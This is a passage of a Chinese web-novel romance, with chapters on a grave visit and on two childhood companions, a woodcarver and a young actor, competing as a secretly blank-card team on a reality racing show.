一觉醒来夕阳西下,孟棠的肚子饿得咕咕叫,卧房里没人,她叫了声:“魏川?” “来了。”魏川应声推开了房门,“醒了?饿不饿?” 孟棠点了点头:“很饿。” 魏川笑了声:“就知道你会饿,起来,方姐做了馄饨。” 孟棠没什么力气,还是魏川伺候她穿好了衣服。 孟棠在屋内待久了,觉得闷,想要在院中用餐,被魏川拒绝了。 “院里有风,你才刚退烧,还是在餐厅吃吧。” 孟棠有点不情愿:“有点闷。” “怎么会闷。”魏川丝毫不让,我不是在嘛,听话,吃饭。” “是啊,外面有点冷,天马上黑了。”方姐也搭腔,“都多大人了,还耍小性子。” 孟棠在餐桌旁坐下,问:“做的什么馄饨?” “清汤的,做了三种馅儿,每种都尝几个吧。” “好。” 魏川把馄饨端给孟棠:“小心烫,方姐还给我做了面条,我就不陪你吃这个了。” 孟棠点了点头:“方姐做的面条筋道有味,以前爷爷最爱吃。” 餐厅里沉默了一瞬,魏川顺了顺孟棠的头发,低声询问:“想老头了?” 孟棠一愣,她自己都没注意到,只是脱口而出。 她顿了顿,“嗯”了声。 “这还不简单,等你生病好了,我带你去看他。”魏川说,“马上也快到他老人家的忌日了,是该上山去看看了。” 本小章还未完,请点击下一页继续阅读后面精彩内容!孟棠转头跟方姐说:“那过几天我跟魏川上山一趟,您给我们准备一些祭品。” 方姐:“好。” 孟棠的感冒在一个礼拜后彻底好转,天气正好也不过,她索性约了魏川上山。 本地人祭拜都是以食敬先,方姐准备一些糯米糕和黄酒。 孟遇春的墓地离家里有点远,上山的路上不太好走,魏川托着孟棠的手臂一步一步将人送了上去。 来到墓前,孟棠将东西摆好,跪了下去。 每次来,无非就是那几句话,聊一下木雕和程逾,说一下孩子的近况。 一般孟棠会待半小时左右,今天魏川没让她待那么久,毕竟生病刚好。 从墓地离开,孟棠拉着魏川径自往更高的地方去。 魏川以为她想去最高处看看风景,便陪她一起。 到了目的地,孟棠指了指远处露出的一角建筑,问魏川:“你知道那是哪儿吗?” 魏川定睛一看,说:“看着像水月寺啊。” “就是水月寺,走。”孟棠拉住魏川的手臂,“我们今天走小道去水月寺,好久没去了。” “你别拉我,手给我,山路不好走,你小心点别摔。” “知道了,快点。” 魏川发现水月寺跟他和孟棠很有缘,雁清只有这个地方,每年他都要和孟棠去几次。 魏川想要薅一把路边野菊,被孟棠拦了下来:“别瞎动,摘下来没一会就死了。” 魏川收回了手。 孟棠白他一眼:“手痒牵我的手吧。” “还有这好事。”魏川和她十指相扣。 山坡渐缓,两人相视一笑,在风里,也在爱里。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第267章 孟程(1) 雁清,老宅。 程逾将行李箱合上,拉上拉链后轻轻呼了口气。 孟棠指了指她的箱子:“就带一个箱子?我看人家录节目的明星都带两三个。” “师父,我又不是明星,要不是为了孟竞帆,我怎么可能去上综艺节目。” 程逾挽住孟棠的胳膊,蹭了下她的肩头:“我这次出门要好久,您跟我川叔在家好好的,第一阶段的录制一结束,我立刻飞回来。” 孟棠笑了声,拍了拍她的头:“在外面多玩会儿,毕业好几年了,回来就一直待在雁清。” “知道了,我还能对自己差了,放心吧,我一定帮您照顾好帆帆。” “谁让你照顾他了,”魏川在一旁搭腔,“让他照顾你,不是他死皮赖脸缠着你上这档综艺的?” “你还说。”孟棠回眸,“当初帆帆是想让你跟他父子档的,结果你又反悔。” 魏川:“……我哪知道后期还要出国,离开太久了。” 凭他和孟棠的感情,他根本没办法走那么远,心里头有牵挂的人出不了远门。 可孟棠也有事情忙,他不可能让她放下自己的事去陪他录节目。 孟竞帆因为学业问题,很多年没有拍戏,很多人对他的印象还停留在小时候。 20岁在校时期客串的一部电视剧,今年取得了一些小成绩。 角色大出圈,知名度也提升了一层。 紧随而来的话题讨论量蹭蹭上涨,小时候的角色加成,爸爸是曾经的CBA球员,姑姑也是活跃在圈内的演员……一系列的话题量上升时被下了黑水,生怕他火起来,导致孟竞帆的路人缘极差。 即便工作室已经澄清,但他的粉圈还没稳定,一朝回到解放前。 孟竞帆当即无语地对魏思沅说:“我一脚还没进圈呢,就这样被踢出来了?” 魏思沅失笑:“没办法,僧多粥少啊,大家为了撕资源什么事情做不出来,公司给你接了一部竞速真人秀,再给你安排个搭档,下个月开始录制,表现好了,路人缘可以转。” “表现不好呢?”孟竞帆吊儿郎当道,“我就收拾包袱回家了?” “有我在,谁能让你回家,放心,我还不了解你嘛,包能表现好的。” 孟竞帆不会怀疑魏思沅,问:“什么节目?” “《终极竞速》” “一听就对体能要求比较高。”孟竞帆说,“具体做什么?” 魏思沅说:“这个节目第一季很火,你要参加的是第二季,都竞速了,自然就考脑力和体力。” 孟竞帆回去看了大概,回绝了魏思沅要给他找搭档的想法,因为节目一共请五组人,每组人的关系都不同。 第一期没有父子,他想和魏川来个父子档。 他老爸体力杠杠的,可以很大程度上帮助他做任务。 魏川起初听了还有点心动,一听后期要出国,左右脑互搏,最终还是拒绝了。 正好节目组也找了一对奥运冠军的父子档,这个组合直接原地解散。 而已知的父子档外,还有夫妻、朋友、情侣,留给他的不多了。 魏川灵机一动,找上了程逾。 程逾想都没想直接拒绝了,孟竞帆特地从首都飞回了雁清,软磨硬泡了一个星期才让她答应。 答应完,程逾自己都懵了。 她后悔,但她是言而有信的人,只能硬着头皮上。 从小到大,好像孟竞帆的要求,她从来没有一次坚定的拒绝过,每次都被他插科打诨。 吃完晚饭,程逾早早洗了澡。 出来后用毛巾对着自己的长发粗鲁地甩了几下,不耐烦地拿了吹风机吹干。 也就洗头的时候烦一点,其他时间还好,雕刻的时候,一根筷子就能搞定,一点碎发不落。 大学的时候留了长发后,她就没留过短发了。 说来也神奇,自从留了长发后,追她的男生从操场排到了美院。 程逾五官深邃立体,明艳大气,性格大大咧咧,很容易相处,喜欢她是人之常情。 孟棠也提点过她情感问题,说大学可以试着谈恋爱。 当时研二有个学长,人品和外貌都挺不错的,程逾没有感情经验,其实对谈恋爱有点好奇。 在学长表达了好感之后,程逾打算进一步了解,被来学校找她的孟竞帆撞破了。 孟竞帆当时表情挺欠揍,对着程逾来了句:“你眼光好差。” 程逾忍住揍人的冲动,问他:“哪里差了?人家要长相有长相,有外貌有外貌。” “没身材。”孟竞帆说,“外貌也就那样,你一天到晚不上学,怎么净想着谈恋爱?小心我告诉我妈啊。” 程逾:“……” 就是你妈让我谈的。 程逾懒得理他,第一次“恋爱”夭折。 她也确实忙,忙着学业和木雕,最终做了四年的单身狗。 毕业后回到雁清,在孟棠的木雕馆里工作,五年下来,她已经能独当一面,再过几年,就能全面接手木雕馆。 躺上床后,程逾掀开被子,双脚蹬上去展开,动作一气呵成。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!她满足地笑了笑:“睡觉,明早出发去江城。” 录制的第一个城市在江城,明天要过去集合,正式开拍前也有很多准备工作。 而嘉宾互相认识也是重中之重,这个也要录制,后期会放在先导片里播出。 程逾刚闭上眼睛,微信视频响了起来。 谁这么晚了给人开视频,真烦。 程逾摸到床头的手机,开了床头的台灯,一瞧是孟竞帆,只好接了: “这么晚了还打视频,有什么事不能明天说吗?” 一张棱角分明的俊脸几乎要贴上屏幕,孟竞帆“啧”了声:“你头发又没吹干就睡觉?” 反正他也不在跟前,程逾跟他耍赖:“吹干了,你眼睛有问题。” 每次吹完头发,都剩那么点发梢始终泛潮,程逾没什么耐心,索性不吹了。 现在天气也热,没一会儿就能干。 “你就懒吧。”孟竞帆无奈道,“行李收拾好没有?该带的不要忘了啊,省得新买的东西你又不习惯。” “带了。”程逾闭上眼睛,语气有些困倦,“你别以为你比我高就比我大啊,咱俩到底谁是老大。” “你你你,你是老大。”孟竞帆看着程逾的长睫毛笑了声,“老大,困了?” “嗯,退下吧。” 孟竞帆挂断了视频。 程逾只睡了四个小时就爬了起来,她要去赶机场。 哪知道英姐已经做好了饭,而孟棠和魏川也起来,并且收拾齐整了。 程逾有点感动,哑着声音说:“你们起来干嘛,我自己打个车就走了。” 孟棠说:“先去洗漱吃饭,时间来得及,待会儿让你川叔送你去机场。” 爱意难却,程逾点了点头。 雁清没有机场,要去隔壁市的机场要点时间,所以她必须天没亮就得起床。 早饭过后,程逾爬上了车,被魏川送到了机场。 直飞时间一小时55分钟,上午十点,程逾落地江城机场。 节目组有人接她,程逾看到摄像机时一愣:“现在就拍吗?” 工作人员点了点头:“都是素材,后期会进行剪辑,我们上车后还有几个简单的问答。” 程逾点了点头:“我知道。” 上车后随拍环节有现场编导提问,第一个问题就是问程逾来没来过江城。 程逾回答:“江城还真是第一次来。” “会有什么小期待吗?” “期待肯定是有的,我听说江城有很多好吃的,都想尝一尝。” “能说一说来《终极竞速》的原因吗?” “原因嘛,我是被软磨硬泡来的,别人都有搭档,我也不能让孟竞帆输啊。” 编导提了五六个问题,程逾实话实话全都回答了。 还没正式录制前,手机是不收的。 距离酒店还有二三百米时,孟竞帆打来了电话。 程逾看向摄像师:“我能不能接啊?” 摄像师动了动摄像机,表示可以接。 程逾接了电话:“喂,我都快到酒店了,你什么时候过来?” “飞机晚点,我估计要迟到一两个小时。”孟竞帆说,“你先跟工作人员进酒店,他们会照顾你的。” 程逾:“……我不需要谁照顾,你赶紧过来,我一个都不认识,多尴尬啊。” “你还会尴尬?”孟竞帆不信。 程逾无语:“我不i,但我也不e啊,谁都跟你一样是社交悍匪吗?” 孟竞帆:“……等着,飞机晚点我能怎么办?我要是插上翅膀就能飞,我现在就去整一对。” 程逾白了他一眼,直接挂断了电话。 酒店到了,程逾拿着行李进了大堂办理手续。 酒店是节目组统一安排的,楼层都是完全封闭的,封闭楼层有间大型会议室。 刚把箱子放下,程逾就收到了一张任务卡。 她照着上面一个字一个字地读出来:“进入会议室之后,选择一个除固定搭档之外的最想搭档的一个人。” 程逾反应了两秒,抬头问:“什么意思?我还要选别人吗?” “要选一个除你搭档之外的人,到时候我们会有纸笔写下来,只有自己知道,趁去会议室的路上,你可以好好想想。” 事关嘉宾的资料,程逾都看过,她记忆力好,全都记得。 第一对搭档是演员加商人的组合,影后齐菲长红不衰,33岁嫁进了豪门,丈夫赵敬廷对她宠爱有加,两人生有两子一女。 齐菲是大满贯实力派影后,在所有嘉宾中咖位最高,性格爽朗,长相大气,多年来零绯闻,口碑极好。 至于她丈夫,看起来儒雅绅士,没什么架子,应该是好相处的。 第二对搭档是奥运冠军父子,司显荣和司明瀚。 冠军嘛,特质是绝对自律,绝对好强,程逾觉得,他俩能拿冠军,体能不是盖的。 第三对搭档是一对公开的脱口秀演员情侣张雨年和苏琪,搞笑是他们的天赋,定位是节目的整活开心果。 第四队是个男团组合里的两位成员余兴然和施宇,也就是兄弟组合了。长相精致可爱,性格活泼生动,程逾看了都有点蠢蠢欲动了。 本小章还未完,请点击下一页继续阅读后面精彩内容!最后一对就是她和孟竞帆了。 所有人的资料看下来,程逾觉得她和孟竞帆是最没有特色的。 唱歌跳舞、相声表演、体操……她和孟竞帆都不会。 孟竞帆会演戏,她会木雕。 孟竞帆站那儿就能演,她可不是随手就能雕的。 万一节目有表演才艺的任务,她和孟竞帆岂不是歇菜了。 难道让他们选择另一个搭档是个伏笔?那她可得好好选了。 来到会议室,程逾莫名有些紧张,她顺了下头发,看向摄像机:“我怎么样?” 摄像机点了点头。 程逾顶着一张素净的脸推开了会议室的门,结果空空如也。 “我第一个啊?”程逾笑了声,“这会议室好大。” 话音刚落,又有人推开了门,程逾循声望去,微微颔首:“你们好,我是程逾。” “你好你好。”苏琪笑着迎上来,转头指了指后面,“张雨年。” 张雨年扫过程逾的脸开玩笑:“人美心善,知道我长得磕碜素颜出镜啊?看人这健康的苹果肌。” 程逾听懂了,笑道:“拍摄前,工作人员有提醒我要不要化妆,我那会儿刚出机场,时间有点赶。” 再说了,她平时也不化妆,明天正式录制,她都打算直接素颜出镜。 那么多户外任务,铁打的粉底也经不住高温和汗液的洗礼。 “老师们好。”门口又传来一道声音,“我是余兴然,他是施宇。” 程逾好奇地透过歪了歪头,视线越过张雨年的肩膀,看到了两个可爱精致的男孩。 身高得有180了,浑身散发着香气,看人的眼神温柔又无辜。 这就是男团啊,不怪那么多人喜欢。 导演提醒:“大家先坐下吧,我们稍微等一等人。” 张雨年和苏琪是活跃气氛的一把,且妙语连珠,直接帮助几人度过了初识的尴尬期。 直至影后齐菲和她丈夫进了会议室,气氛才稍稍稳重了些。 导演说:“目前除了孟竞帆,咱们的人已经齐了,孟竞帆因为飞机晚点,来不及参加我们的第一次会议,不过相关任务的答案,他已经告知我们节目组,节目组会帮他做出选择,下面请你们在字条上写下之前发下去的任务答案。” 程逾展开任务卡,大笔一挥,不带一丝犹豫写下了答案。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第268章 孟程(2) 半天奔波,程逾有些不习惯这样紧凑的节奏。 中午所有嘉宾就在酒店餐厅一起用了餐,互相熟悉。 用餐时,齐菲开玩笑:“小孟到现在还没来,错过了初识的尴尬期,会不会不好意思?” “不会。”程逾说,“他那人自来熟。” “那就好,我最喜欢自来熟的小孩了,不让人尴尬。”齐菲说,“我看你性格也挺好的。” 程逾点了点头,大大方方道:“我们家家风开明,各个都有点没大没小的,还望各位老师多多包涵了,我的资料你们肯定也看过,叫我小鱼就行。” “小鱼姐,为什么你不跟孟老师一个姓啊?”施宇有点好奇,他见程逾好说话,就这么冒昧的问了出来。 程逾从来不避讳这样的问题,说:“我跟他当然不可能一个姓,我跟他没有血缘关系。” “嗯?”齐菲惊讶地看过来,“资料上没写啊。” 程逾笑了笑:“可能节目组也不好替我说,我跟孟竞帆从小一起长大的,他的妈妈是我师父。” “这个我们知道,你是黄杨木雕的非遗继承人嘛。”余兴然说,“我和施宇还专门去网上搜你了,真厉害,得了好多奖。” 程逾跟他们客气:“其实我这次来都有给你们准备小礼物,都是我自己雕刻的,不嫌弃就成。” “这哪敢嫌弃。”司明瀚笑得憨,“我也看到你雕刻的小物件了,很厉害。” 司显荣不动声色,看了眼自己的好大儿,平时跟个闷葫芦一样,也没见他主动跟哪个姑娘搭话的。 大家都是第一次见,不知不觉就聊的多了,也就迟迟没走,也等来了晚点的孟竞帆。 “抱歉大家,我迟到了。”孟竞帆礼貌地鞠躬,余光瞥向程逾,见她如鱼得水,松了口气。 程逾性格直率,他担心她说话过于直接,会得罪人,毕竟圈里各种各样的怪脾气。 “齐老师。”孟竞帆率先和齐菲打了招呼,互相介绍后,他又按照年龄资历一一打了招呼。 苏琪抵了抵张雨年:“我去,这么帅的吗?” 22岁的孟竞帆身高189,宽肩窄腰,身形利落,剑眉飞扬,五官张扬漂亮得不像话。 就连见过大风大浪的齐菲都愣了下,大家毕竟第一次见,颜值冲击力还是很足的。 “怎么了?”孟竞帆摸了把自己的脸,“我长得应该还行吧?你们都看着我干什么?” “哥你太帅了。”余兴然忙不迭回了句。 在场的都知道魏川有背景,不管他如今在圈里怎么样,大家交谈之间是充满了善意的,草根出身的余兴然不自觉带了两分讨好。 直肠子施宇就没那么多圆滑的想法了,说:“什么哥,他才22,咱俩24。” 余兴然有些尴尬,魏川笑了笑:“我给你俩叫声哥,叫我名字就行了。” 余兴然见他挺好相处,笑着应了声:“行。” “好,既然大家到齐了,先回酒店休息了,竞帆,你留下吃个饭。”导演说。 “好。”孟竞帆转头了,“我就不耽误你们午休了,咱们晚上见。” 各自告了别,程逾也要跟着上楼,孟竞帆长臂一展将人拦住:“你上去干什么,陪我吃饭。” “我吃过了。”程逾觉得他莫名其妙,“你三岁啊,吃饭还让人陪,我要上去给大家送礼物呢。” “大家都午休了,你就别上门打扰了,晚上吃饭的时候再送也不迟。” 程逾只好坐了下来,看他吃饭。 “你吃慢点,”程逾皱眉,“没人跟你抢。” 孟竞帆抬眸:“怎么样?习惯吗?” “这才半天,有什么不习惯的,再说了,我要是说不习惯,我能退出节目录制吗?” “你想的美,我驮着你都得把节目录了。” 程逾翻了个白眼:“那不就得了,尽问一些废话。” 拍摄的随行人员和助理对视了眼,这两人还是个对抗路,有点意思。 吃完饭,魏川补了一个小小的问答采访。 和程逾的问题差不多,程逾就在一旁等他。 “最后一个问题,请问你为什么会选择和姐姐来参加这档节目的录制?” “咱俩这是竞速真人秀吧?”魏川说,“竞速就要有竞速精神,来了就得赢,我们家小鱼无论是体力还是脑力都是不错的。” “你不叫姐啊?”现场编导笑着问。 “这可是额外的附加题了。”孟竞帆起身,“今晚再回答吧,我们现在要回房休息了,明天就要录制节目,今天得好好休息。” “行,上去吧。” 两人的房间挨在一起,孟竞帆带了助理,此刻正在整理他给大家带的礼物。 程逾自然也认识孟竞帆的助理小唐,她跟人打了招呼,说:“你也跟我们一起录制节目吗?” “当然了。”小唐说,“哥只带了我一个,处理一些琐碎的事,姐你看人家影后,可是带了一个团队的。” 娱乐圈的生态,程逾不好评价,她看相声小情侣什么也没带。 孟竞帆对助理说:“小唐,我带你过来其实是想让你照顾小鱼的,你放心,我给你开双倍工资。” “你别啊。”程逾当即拒绝,“我可以自己照顾自己,我又不是衣来伸手的性子。” 孟竞帆微微扬起下巴,小唐眼珠一转,抓住程逾的胳膊: “姐啊,你就让我照顾吧,双倍工资呢,你忍心我拿不到啊?” 程逾:“……” 她是一个好人来着。 小唐见她沉默,就知道她同意了,说:“我现在就过去给你整理一下行李箱。” 不让人做就是不让人赚钱,程逾带着她回了房间。 午休了两三个小时,夕阳落山时所有人再次集合,大家都有带礼物,程逾和孟竞帆拿着礼物和所有人做了交换。 程逾雕刻的属相小件大受欢迎,孟竞帆看了一圈,问她:“你没给我雕啊?” 程逾:“……家里多的是,十二生肖喜欢哪个挑哪个。” 孟竞帆:“那都是你小时候雕刻的,没有现在雕刻的好。” 程逾:“你懂什么,我以前雕刻的多有童趣啊,我八岁就能靠着手艺赚钱,你还嫌弃上了?” 孟竞帆可不敢嫌弃,只是微微抗议罢了。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第269章 孟程(3) 第二天要录制节目,晚上大家没有多聊,很早回了房间。 生怕他们睡不着,导演组在八点左右还群发了消息,大意就是明天有体力活,让他们养精蓄锐。 程逾的睡眠质量一向很高,九点睡,第二天四点被节目组叫醒。 妆发、早餐都要花费不少时间。 节目组的早餐品类还是挺丰盛的,孟竞帆给程逾拿了一笼汤包,一笼蒸饺,一份小馄饨以及两根烤肠,最后又拿了杯橙汁。 程逾将其他人看着她,说:“我吃的太多了?” 司明瀚摇了摇头:“一点也不多。” 余兴然挠了挠头:“平时看到女生们就吃一点,突然有点不习惯。” 孟竞帆说:“这个饭量还好,小鱼在家工作量和运动量都多,还不够她消耗的。” 吃饭是不录制的,一群人看着时间,边吃边聊,终于在七点赶到了录制点,一个江边的广场。 这边有本地的标志性建筑,五组嘉宾全都穿着运动装,全副武装的模样。 孟竞帆是第一次参加综艺,不自觉带了点期待和紧张。 “欢迎大家来到……” 导演组说了欢迎词,介绍了一遍江城。 “需要大家注意的是,江边设置了五个线索箱,其中有一个是空白的。” 孟竞帆看向导演组:“啥意思啊?第一期就上强度啊?” “空白的怎么做任务啊?”程逾紧随其后问了句,其他人纷纷附和。 “抽到空白任务卡的组合,今天要全程保护好自己的秘密,结尾的时候,我们会让大家猜测哪一组是空白的,猜对了,另外四队加积分得奖励,猜错了,积分和奖励全归空白组。” “1v4啊?”施宇瞪圆了眼睛,“上来就这样好吗?” 这考验的不仅仅是脑力和智力,还得有运气和默契。 导演组一声令下,所有人跑了起来。 程逾第一个冲了出去,孟竞帆余光瞥了眼齐菲,一把拉住了程逾:“等我一下。” 程逾因为他的“阻扰”,没选到自己想要的线索箱。 五组人手忙手脚挤作一团,终于各自抱住了线索箱。 “好,现在请大家从线索箱里拿出任务卡,从左到右开始,请大家仔细观察。” 程逾拍了下孟竞帆:“咱俩最后一个。” 孟竞帆掐住她的下巴,将她的脸掰了过去:“仔细看。” “人家是影后,我哪能看出名堂,你看。”程逾理直气壮道。 孟竞帆差点气笑:“行,我看。” 齐菲和她丈夫展开了任务卡,赵敬廷直接读了出来:“前往具有百年历史的商业地标……” “哎哎哎——”其他人一起阻止。 齐菲抽走任务卡,哭笑不得:“你傻啊?不能读出来,这个要靠后期的线索任务进行相认。” “哈哈哈明牌了。”孟竞帆笑了声,“这样也挺有意思的,一组明牌,三组未知,一组空白,看不出来咱廷哥有喜剧效果。” 赵敬廷尴尬全无,齐菲欣赏地瞥了眼孟竞帆。 这小子嘴甜,甜的还讨人喜欢,不是刻意讨好的那种。 奥运冠军父子不是演员,他们拿到任务卡,表情也很好猜,一看就是有任务的。 余兴然和施宇也没演过戏,在孟竞帆看来,这两人手中的任务卡要是空白的,绝对能看出点名堂。 到了张雨年和苏琪,孟竞帆心里直觉不好。 空白卡应该就在他们两组之间。 张雨年戴眼镜,估计任务卡上的字很小,他下意识往前凑了下。 至此,孟竞帆心里大叫:“完了!” 他看向程逾,只希望她能淡定点。 “好,最后一组,请你们拿出任务卡。” 孟竞帆伸进箱子里,拿出打开看了下,程逾往前勾了下脖子,他将卡片递给她面前。 程逾不动声色扶住卡片,十来秒后,合上了卡片。 “实在看不出来。”施宇说,“我怎么感觉都有呢。” 齐菲倾身看向孟竞帆:“小孟,是你俩吗?” “姐,你别诈我,哪有像你这么直截了当地问的?”孟竞帆装作哭笑不得的模样。 齐菲说:“我本来想从小鱼那里找破绽,没想到,什么也没看不出来。” “影后认证啊。”孟竞帆指了指程逾,“我们家小鱼可是素人,她没什么演技的,这说明什么,说明我和小鱼有任务。” 司明瀚煞有介事地点了点头:“我也觉得你们不是空白卡,我比较倾向于施宇和兴然这一组。” “冤枉啊。”余兴然举起施宇的手,“我俩是爱豆啊,只会唱歌跳舞,不会演戏,你们看过我俩的综艺就知道了,那演技,一塌糊涂,我觉得吧,像年哥和琪姐,他俩好淡定啊。” 程逾见转移了焦点,给了孟竞帆一个肯定的眼神。 随后大家上了一辆路边的商务面包车,程逾和孟竞帆挨着坐在最后一排。 她拿了麦,转过脸捏住孟竞帆的麦,小声说:“都挂你,我本来要选3号的。” 这章没有结束,请点击下一页继续阅读!孟竞帆捏了下她的胳膊:“你傻啊,人情世故不知道,这里面菲姐咖位最大,你得让她先选。” 大家都是第一次合作,他也不能保证每个人都好相处。 程逾步子慢了下来,表情有些无语:“不是真人秀吗?” 孟竞帆笑了声:“听听得了。” “你俩说什么小秘密呢?”施宇发现他俩的小动作,和余兴然错身望去。 孟竞帆戴上麦,说:“小鱼第一次录制综艺,第一次面对镜头,有些不太习惯,我鼓励她呢。” 齐菲点了点头:“我第一次面对镜头,人都是抖的,小鱼表现得已经很棒了,不过我有个问题想要问你啊,小孟。” 孟竞帆:“菲姐,你尽管问。” 齐菲:“我们都知道你跟小鱼没有血缘关系,但她好歹在你家长大,你怎么叫她名字?我看资料,你俩差了有五岁。” “她来我家第一天我就知道她不是我姐。”孟竞帆说,“小时候我还想,她一来,我爸妈心思都分出去一半了,有时候我就故意找她茬,久而久之,我俩就成了对抗路,我妈说是冤家路窄,总觉得叫姐很别扭,就一直叫名字了。” 他从小到大都没把程逾当姐姐,他觉得程逾对他也没个姐姐样,小时候还跟他抢吃的,讲鬼故事吓唬他,逼他吃不喜欢的东西…… 她的“罪行”,三天三夜也说不完。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第270章 孟程(4) 商务面包车停下的那一刻,任务正式开始。 其他组合都有模有样的拿着手机向自己的目标点出发,孟竞帆拉着程逾和别人错开了方向。 他指了指商场门的节目组的绿旗,说:“看见没有,那里就是提交任务和提供线索的地方,我俩什么也不知道,但每隔一段时间就要出来一趟,装作完成了任务来获取线索。” “这样也有暴露的风险,五组人呢,都在商场里,总会碰到的。”程逾当即拍了下他,“走,我们也去做任务。” 孟竞帆:“……咱俩没有任务卡。” 程逾笑了声:“我们俩是没有任务卡,但又没说不可以做任务。” 孟竞帆回头看向镜头:“可以吗?” 镜头没有点头也没有摇头。 “哎呀,走了。”程逾当机立断,我们一层一层地找,总能找到任务点。” 见没有工作人员阻拦,孟竞帆笑开了花,一边跑还不忘夸一句程逾: “小鱼,你好厉害,不枉我把你带来。” 没跑两步,程逾发现了张雨年和苏琪,她立刻拍了下孟竞帆:“他们在东边,我们去西边找。” 商场太大,程逾气喘吁吁跑到西边时,一口气差点没喘匀。 孟竞帆在她后边拍了拍:“没事吧?” 程逾摇摇头:“没事,只是这商场,未免也太大了。” “走。”孟竞帆的掌心搁在她后背上,托着她往前,“找找看有没有任务点。” “我看过第一季,任务点都有标志。” 孟竞帆个子高,他远远看见一个NPC,拉着程逾跑了过去。 现场有节目组的标志,NPC手里举着牌子,上面写着具体的任务。 任务都是两个人配合的,孟竞帆看到混在一起的绿豆和红豆时,眼睛一晕:“不会让我们把这些分出来吧?” “是啊。”程逾坐下就开始人工分拣,“任务写得明明白白,赶紧的。” 魏川在她对面坐下:“一点含金量都没有。” 程逾:“是没有含金量,但考验耐心,赶紧的,这一轮试过之后就能知道我们能不能拿到线索。” 即便他们没有任务,但如果有线索的话,也能凭借这个判断另外四组。 如果得到的信息有不利于她和孟竞帆的,后期共享的时候,他们也能混淆一下视听。 孟竞帆拿着镊子的手隐隐发抖,他问程逾:“过去多久了。” 程逾说:“大概十分钟。” “你手疼吗?”孟竞帆想哭,“我情愿出去跑两圈,这活儿也不是人干的。” 他再一次庆幸自己带着程逾来录节目。 程逾常年用手,她挑拣起来又快又稳,跟随她的拍摄人员放大了镜头,仿佛也透着不可思议。 程逾察觉到镜头靠近,笑着解释: “雕刻这一行,靠的就是手,平日里对于手部的训练很重视,你们这个挑拣红绿豆对我来说只是小儿科。” “我在家的时候,师父都是准备三种不同的容器,从大到小,要求精细,中间不能落,不能碰到容器,如果碰到或者掉下,会从头开始。” 她自小跟着爷爷学木雕,手部力量还是不错的。 后来跟着孟棠,正儿八经地系统学习,对于训练这一类也能做到得心应手。 还总被孟遇春夸赞,比孟棠小时候厉害些。 “好了。”程逾挑拣好立刻拍响了一旁的计时器。 NPC给了两人一张卡片,上面写着四个数字,是线索屏幕上的密码。 “走走走。”程逾迫不及待推孟竞帆,“去线索点认证一下。” 两人狂奔至大门口,气喘吁吁将密码告诉了验证官,得到一条“空白卡组合其中一个成员是男性”的线索。 程逾无语地摊手:“就这?” 孟竞帆也无语:“说了跟没说一样。” 五个组,每个组都有男的。 程逾一点时间不浪费,转头跟孟竞帆说:“走吧,继续去做任务。” 就在这时,余兴然和施宇跑了过来。 他俩看着孟竞帆手里的线索卡,问:“线索共享吗?” 孟竞帆停下脚步,说:“你们先拿线索吧。” “好。” 孟竞帆给了程逾一个眼神,示意她走远点后,小声说:“要不我们跟他俩结盟?” 程逾:“为什么?” 孟竞帆:“他俩看起来不太聪明。” 程逾:“……” 余兴然和施宇看了线索,无语了半天。 孟竞帆笑了声:“不会吧?不会也是性别线索吧?” 余兴然转过身:“你跟我们的一样?” 孟竞帆翻开卡片给他看,余兴然凑过去,又一阵无语,他将卡片给摄像机看:“像话吗?辛苦做白天任务,结果线索没什么用。” “别聊了,赶紧再去找任务点。”施宇说。 余兴然说:“要不跟他们结盟,二楼还有个四人任务呢。” 施宇有些纠结:“万一他们是空白组怎么办?” “我觉得不太像。”余兴然说,“他们要是空白组,怎么可能第一个完成任务过来验证线索的?” “好像有点道理。”施宇一下被说服了。 要是空白组的话,最起码要先看看别人要干什么,孟竞帆和程逾第一个完成任务,显然是有任务卡的。 施宇同意结盟,余兴然问了孟竞帆的意见。 孟竞帆指了指程逾:“问她吧,我可做不了主。” 程逾直接同意了:“当然同意啊,我们共享了信息,目前来说信任值还是很高的。” 余兴然点了点头:“小鱼说得对,你们是第一个完成任务的,我觉得你们是空白组的几率已经大大降低。” 程逾和孟竞帆对视了眼,又默契地移开,生怕当场笑出来。 这也是他俩为什么选择在一楼做任务的原因,最起码离验证点很近。 他俩什么也没做,只是共享了一条毫无作用的信息,就得到了两个盟友。 如果好好发展,后期必然会成为他们的“左膀右臂”。 孟竞帆指了指二楼:“走吧,去看看有没有挑战任务。” “有个四人任务。”施宇说,“还挺难的。” “gogogo。”孟竞帆拔腿就跑,“抓紧时间吧。” 他占据一个主导地位,很容易让人忽略他是空白组的人,潜意识里觉得他做这些都是有任务卡的底气, 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第271章 孟程(5) 上了二楼,程逾四个人和司家父子撞了个正着。 几人闲聊几句后各自分开,司明瀚还想要跟上去,被他老子一把拉了回去。 司明瀚尴尬地挠了下头,孟竞帆余光瞥了眼,跟程逾小声嘀咕:“他是不是想跟我们组队?” 程逾状况外:“谁啊?” “司明瀚。”孟竞帆说,“他想跟着我们。” “用点脑子吧。”程逾指了指他,“人家也有可能是来试探的。” 孟竞帆虎躯一震:“对哦,我就光想着结盟去了,走走走,咱俩把余兴然和施宇哄好就行了。” 程逾抵了抵孟竞帆:“他们是不是从三楼下来的?” 孟竞帆点了点头:“好像是。” “看他们的方向是要去一楼,不知道会不会得到指向我们俩的线索。”程逾小声嘀咕。 “不会的。”孟竞帆说,“这才第一轮,得到的线索都是模棱两可,谁都能套上的。” “你俩别聊了,赶紧来做任务。”余兴然喊了一嗓子,“这个好像挺难的。” 任务是四个人互相配合完成障碍,你听我描述他猜,一段台词,说对了百分之八十的词语就可以过关拿到线索。 这里面最吃亏的就是程逾了,因为她根本不看电视剧。 孟竞帆和余兴然、施宇商量了一把,将她放在了第一个。 好在程逾肢体表达能力还可以,也没有包袱,表情动作说来就来,惹得余兴然光顾着笑。 第一遍失败后,施宇从后面踢了下余兴然的凳子:“你到底在笑什么?” “小鱼姐太可爱了,我受不了了。”余兴然起身和施宇换了个位置,“你坐前面。” 程逾的表情十分灵动,对于好看的人,大家一向很有耐心。 施宇戴着耳机,听不见程逾说什么,只知道这么看着很搞笑。 程逾指了指施宇:“认真点啊。” 